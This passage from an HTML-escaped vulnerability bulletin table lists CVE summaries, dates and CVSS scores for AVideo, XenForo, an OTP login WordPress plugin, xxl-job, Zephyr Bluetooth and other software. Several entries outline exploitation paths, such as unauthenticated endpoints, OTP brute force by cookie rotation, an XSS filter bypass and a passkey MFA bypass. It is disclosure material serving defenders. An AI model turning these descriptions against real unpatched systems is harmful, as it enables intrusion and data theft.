&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a CSV formula injection vulnerability in the myComments.download.php endpoint that fails to sanitize spreadsheet formula prefixes in comment text. Authenticated users can inject formulas starting with =, +, -, or @ characters that execute when administrators or video owners open the exported CSV file in spreadsheet applications.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89246&quot; target=&quot;_blank&quot;&gt;CVE-2026-89246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 is missing an authentication/authorization check in plugin/WebRTC/status.json.php. When the WebRTC plugin is present, any unauthenticated remote user can request /plugin/WebRTC/status.json.php and receive JSON containing the absolute filesystem path of the WebRTC2RTMP helper binary (revealing the document-root path), the configured WebRTC port, file_exists/is_executable status for the binary, the contents of the WebRTC log/JSON files (videos/WebRTC2RTMP.log) when present, and whether the configured port is reachable on loopback (127.0.0.1) and on the public address. The endpoint performs no User::isLogged(), User::isAdmin(), or forbiddenPage() check. The issue was unfixed at the time of reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89248&quot; target=&quot;_blank&quot;&gt;CVE-2026-89248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains an insecure direct object reference (IDOR) vulnerability in objects/categoryDeleteAssets.json.php. The endpoint validates only the Category::canCreateCategory() capability and a CSRF nonce before passing the attacker-supplied $_REQUEST[&#039;id&#039;] to Category::deleteAssets(), which recursively removes {systemRootPath}videos/categories/assets/{id}/. It omits the Category::userCanEditCategory() ownership check enforced by the sibling Category::delete(). On installations where the non-default usersCanCreateNewCategories setting is enabled, an authenticated non-admin user with the canUpload capability can send a POST request with an arbitrary category ID and recursively delete any category&#039;s on-disk asset directory (icons/images). Category records and videos are not deleted. As of the advisory publication no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89257&quot; target=&quot;_blank&quot;&gt;CVE-2026-89257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to authorize access to the adsInfo API endpoint, allowing unauthenticated attackers to retrieve password-protected video owner identifiers. Attackers can call the adsInfo API with a videos_id parameter to obtain the owner&#039;s user ID and personalized ad creative URLs without authentication or permission checks.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90536&quot; target=&quot;_blank&quot;&gt;CVE-2026-90536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in playlistsFromUser.json.php that allows unauthenticated attackers to read private playlists by requesting another user&#039;s identifier. Attackers can retrieve Favorite and Watch Later playlists belonging to other users due to improper cache keying that conflates requests across different user contexts.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90538&quot; target=&quot;_blank&quot;&gt;CVE-2026-90538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authentication vulnerability in the plugin/TopMenu/menuItems.json.php endpoint that allows unauthenticated attackers to read inactive admin menu items by submitting a POST request with a menuId parameter. Attackers can retrieve hidden menu item URLs including embedded admin-tool secret query parameters not exposed in the public navbar.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90539&quot; target=&quot;_blank&quot;&gt;CVE-2026-90539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to require authentication in the plugin/TopMenu/menus.json.php endpoint, allowing unauthenticated attackers to retrieve all menu data. Attackers can send GET requests to the endpoint to read inactive and admin-only menu names that are not displayed in the public navbar.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90541&quot; target=&quot;_blank&quot;&gt;CVE-2026-90541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate that logged-in users can access live schedules before creating reminders via remindMe.json.php. Authenticated attackers can create scheduler reminders for private live schedules they cannot view and learn the private schedule title from the generated email job.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90542&quot; target=&quot;_blank&quot;&gt;CVE-2026-90542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the `key` and `msg` parameters from $_REQUEST, resolves the stream owner via LiveTransmition::keyExists, and verifies that the stream owner (not the caller) is an administrator; it performs no User::isLogged() check and enforces no CSRF token. As a result, an unauthenticated remote attacker who knows an administrator&#039;s Live stream key can call sendSocketSuccessMessageToUsers_id and deliver arbitrary in-app/socket notification messages to that administrator. The issue was unpatched at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90543&quot; target=&quot;_blank&quot;&gt;CVE-2026-90543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate user permissions in the Bookmark plugin getBookmarks.json.php endpoint, allowing unauthenticated attackers to read chapter names from password-protected videos. Attackers can query the endpoint with a video ID parameter to retrieve sensitive chapter metadata without authentication or password verification.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90547&quot; target=&quot;_blank&quot;&gt;CVE-2026-90547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate user permissions in the ImageGallery list.json.php endpoint, allowing unauthenticated access to list gallery files. Attackers can retrieve filenames and URLs of password-protected image galleries by directly accessing the endpoint, then fetch the exposed files without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90548&quot; target=&quot;_blank&quot;&gt;CVE-2026-90548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to properly authorize access to the videosAndroid.json.php endpoint, allowing unauthenticated guests to list password-protected videos with sensitive owner information. Attackers can retrieve video metadata including owner email, lastLogin, filename, and hashId by sending an unauthenticated GET request to the endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90549&quot; target=&quot;_blank&quot;&gt;CVE-2026-90549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to check user authorization in the PlayerSkins mediaSession.json.php endpoint before returning video metadata. Unauthenticated attackers can request the endpoint with a video ID parameter to retrieve password-protected video titles and owner email addresses without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90550&quot; target=&quot;_blank&quot;&gt;CVE-2026-90550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate playlist ownership in the video_from_program API endpoint, allowing unauthenticated access to private playlist contents. Attackers can query the API without authentication to enumerate private playlist names, owner information, and video titles including password-protected content.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90551&quot; target=&quot;_blank&quot;&gt;CVE-2026-90551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) contains a cross-site request forgery vulnerability in the CustomizeUser plugin&#039;s plugin/CustomizeUser/setSubscribers.json.php endpoint. The script reads users_id and ExtraSubscribers from $_REQUEST and calls User::setExtraSubscribers() without requiring a POST request or a valid CSRF token; autoCSRFGuard() is applied only to POST requests to *.json.php, and the mutation does not pass through ObjectYPT::save()/isUntrustedRequest(), so a cross-origin GET succeeds. An unauthenticated remote attacker who induces a logged-in administrator to load a crafted page (for example an &amp;lt;img&amp;gt; tag pointing at the endpoint) can forge the ExtraSubscribers count displayed on any user&#039;s channel. The CustomizeUser plugin is enabled by default, and no patched version was available at the time of reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88871&quot; target=&quot;_blank&quot;&gt;CVE-2026-88871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) incompletely sanitizes sensitive user fields in the APIName=video response. Video rows include columns joined from the video owner&#039;s user record, and API::get_api_video() calls removeSensitiveUserFields() only when the caller is neither authenticated nor using a valid API secret; it never compares User::getId() with the row&#039;s users_id. As a result, any low-privilege authenticated account can request another user&#039;s video and receive the owner&#039;s email address, account name (user), and isAdmin, canUpload and canStream flags, which are removed for guests and should be returned only to the owner or to callers with a valid API secret. No patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88875&quot; target=&quot;_blank&quot;&gt;CVE-2026-88875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate watch permissions in the playListAddVideo.json.php endpoint when adding videos to playlists. Authenticated attackers can add password-protected videos they cannot watch to playlists they own by submitting the video ID and playlist ID parameters.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90540&quot; target=&quot;_blank&quot;&gt;CVE-2026-90540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the videoAddViewCount.json.php endpoint before updating view statistics. Authenticated attackers can increment view counts and watch-time on videos they cannot access by submitting requests with arbitrary video IDs.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90544&quot; target=&quot;_blank&quot;&gt;CVE-2026-90544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the commentAddNew.json.php endpoint, allowing authenticated users to post comments on password-protected and group-restricted videos. Attackers can submit POST requests with a valid session to add comments to videos they cannot watch, bypassing password and group access controls.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90545&quot; target=&quot;_blank&quot;&gt;CVE-2026-90545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the like.json.php endpoint, allowing logged-in users to record likes on password-protected and group-restricted videos. Attackers can submit like requests for videos they cannot watch to increment like counters and bypass access controls.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90546&quot; target=&quot;_blank&quot;&gt;CVE-2026-90546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate playlist ownership in the Playlists_schedules/list.json.php and Live/calendar.json.php endpoints, allowing authenticated and unauthenticated users to read private playlist schedule metadata. Attackers with canStream privileges or no authentication can retrieve schedule names, descriptions, timestamps, and playlist identifiers by querying these endpoints without ownership checks.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90552&quot; target=&quot;_blank&quot;&gt;CVE-2026-90552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wxiaoqi--Spring-Cloud-Platform&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in wxiaoqi Spring-Cloud-Platform 3.0.1/3.1.0. This vulnerability affects the function PermissionService.checkUserPermission of the file /rpc/service/PermissionService.java of the component Permission Service. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90594&quot; target=&quot;_blank&quot;&gt;CVE-2026-90594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wxiaoqi--Spring-Cloud-Platform&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in wxiaoqi Spring-Cloud-Platform 1.0/2.2/3.0. This issue affects the function OnlineController.getOnlineInfo of the file aceModules/ace-admin/auth/controller/OnlineController.java. The manipulation results in missing authorization. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90595&quot; target=&quot;_blank&quot;&gt;CVE-2026-90595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a multi-factor authentication bypass vulnerability in the passkey TFA provider that allows an authenticated attacker to complete login as another user by submitting their own registered passkey credential during the WebAuthn assertion step. The passkey verification path performs a global credential lookup without validating that the matched credential belongs to the user whose login is pending, enabling an attacker who knows a target account&#039;s password to sign the challenge with their own passkey and bypass multi-factor authentication on both public forum and ACP login paths.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73313&quot; target=&quot;_blank&quot;&gt;CVE-2026-73313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains a cross-site scripting vulnerability in the dynamic redirect handler that allows unauthenticated attackers to execute arbitrary JavaScript in the board origin by crafting a malicious javascript: URI that bypasses host validation. Attackers can embed the board hostname in the URI authority component and use percent-encoded newlines to evade server-side filters, causing authenticated users who perform a Follow action to execute attacker-supplied JavaScript in their browser.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73319&quot; target=&quot;_blank&quot;&gt;CVE-2026-73319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains an unauthenticated information disclosure vulnerability that allows unauthenticated attackers to retrieve private unfurl records by supplying predictable auto-increment primary key IDs to the unfurl endpoint. Attackers can enumerate or predict result IDs and query the endpoint without any session, user, or visibility checks to obtain rendered preview HTML, original URLs, and query strings from private conversations and other restricted content.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73320&quot; target=&quot;_blank&quot;&gt;CVE-2026-73320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains an uncontrolled recursion vulnerability in the BBCode parser that allows authenticated attackers to cause persistent denial of service by submitting a post with deeply nested BBCode tags. Attackers can craft a single malicious post with sufficient nesting depth to exceed PHP&#039;s stack limit, causing fatal errors that repeatedly terminate PHP-FPM workers for all visitors rendering the affected thread.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73321&quot; target=&quot;_blank&quot;&gt;CVE-2026-73321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XenForo--XenForo&lt;/td&gt;
&lt;td&gt;XenForo before 2.3.13 contains an authorization flaw in the OAuth2 token endpoint that allows attackers controlling any allowlisted redirect URI to bypass redirect URI binding by submitting a different allowlisted URI than the one recorded at authorization time. Attackers can exchange an intercepted authorization code using a mismatched redirect URI to steal OAuth2 tokens from intercepted authorization flows.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73310&quot; target=&quot;_blank&quot;&gt;CVE-2026-73310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xootix--OTP Login &amp;amp; Register Woocommerce&lt;/td&gt;
&lt;td&gt;The OTP Login &amp;amp; Register Woocommerce plugin for WordPress is vulnerable to Authentication Bypass via OTP Brute Force in all versions up to, and including, 2.7.2. The vulnerability exists because the OTP rate-limit attempt counter in `process_otp_form` is keyed exclusively on the attacker-controlled `xoo_ml_user_ip_data` cookie&#039;s `ip_address` field, allowing unlimited counter resets by simply rotating the cookie, while the OTP itself is generated with PHP&#039;s non-cryptographic `rand()` function over a default space of only 9,000 possible values (1000-9999), and both the OTP issuance endpoint (`xoo_ml_login_with_otp`) and verification endpoint (`xoo_ml_otp_form_submit`) are registered as unauthenticated `wp_ajax_nopriv` actions with no nonce or capability checks. This makes it possible for unauthenticated attackers to brute-force the OTP for any registered account and obtain a full WordPress authentication session - including for administrator accounts - via `wp_set_auth_cookie()` in `login_user_with_otp()`. Exploitation requires the attacker to know the target user&#039;s registered phone number, which is used to trigger OTP issuance via the unauthenticated `xoo_ml_login_with_otp` endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12215&quot; target=&quot;_blank&quot;&gt;CVE-2026-12215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Xuxueli--xxl-job&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Xuxueli xxl-job up to 3.4.2. This affects the function GroovyClassLoader.parseClass of the file xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90488&quot; target=&quot;_blank&quot;&gt;CVE-2026-90488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Xuxueli--xxl-job&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Xuxueli xxl-job up to 3.4.2. Affected by this issue is some unknown functionality of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobGroupController.java. The manipulation results in improper privilege management. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90487&quot; target=&quot;_blank&quot;&gt;CVE-2026-90487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc.--Library Information and Document Automation Program&lt;/td&gt;
&lt;td&gt;URL redirection to untrusted site (&#039;open redirect&#039;) vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Information and Document Automation Program allows Phishing. This issue affects Library Information and Document Automation Program: from v22.1 before v22.2.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78377&quot; target=&quot;_blank&quot;&gt;CVE-2026-78377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc.--Library Information and Document Automation Program&lt;/td&gt;
&lt;td&gt;Server-Side request forgery (SSRF) vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Information and Document Automation Program allows Server Side Request Forgery. This issue affects Library Information and Document Automation Program: before v22.2.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19733&quot; target=&quot;_blank&quot;&gt;CVE-2026-19733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc.--Library Reservation System&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Reservation System allows Input Data Manipulation. This issue affects Library Reservation System: before v22.2.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11838&quot; target=&quot;_blank&quot;&gt;CVE-2026-11838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Youzify--Youzify&lt;/td&gt;
&lt;td&gt;Subscriber Arbitrary File Download in Youzify &amp;lt;= 1.3.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81275&quot; target=&quot;_blank&quot;&gt;CVE-2026-81275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Bluetooth Classic (BR/EDR) L2CAP receive handler bt_l2cap_br_recv() in subsys/bluetooth/host/classic/l2cap_br.c dispatched inbound data PDUs based only on the destination channel ID, without checking that the target channel had reached the BT_L2CAP_CONNECTED state. A dynamic channel is assigned its RX CID and added to the connection&#039;s channel list while still in BT_L2CAP_CONNECTING (and later BT_L2CAP_CONFIG) - before configuration completes and, for PSMs that require security, before the peer is authenticated (l2cap_br_conn_req()). Because the channel is already findable by bt_l2cap_br_lookup_rx_cid() during this window, a remote peer within radio range can send a data PDU addressed to that CID and have it processed on a not-yet-established channel. The dispatch keys off channel fields (BR_CHAN(chan)-&amp;gt;rx.mode, rx.mps) that are only initialized during configuration by l2cap_br_conf(); since channel objects are pooled and bt_l2cap_br_chan_del() does not reset rx.mode or the reassembly buffer _sdu, a reused channel can carry stale state into the CONNECTING window and route the frame into the retransmission/flow-control path (bt_l2cap_br_ret_fc_recv()) with stale parameters and a possibly stale _sdu pointer. The impact is delivery of attacker data to upper-layer protocol handlers on a half-open (and possibly unauthenticated) channel, plus operation on stale or partially initialized channel state on reused channel objects - leading to channel/link teardown (denial of service) and, in the stale-_sdu case, a dangling-pointer condition. The fix adds an explicit BR_CHAN(chan)-&amp;gt;state &amp;lt; BT_L2CAP_CONNECTED guard that drops any data received before the channel is fully connected.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
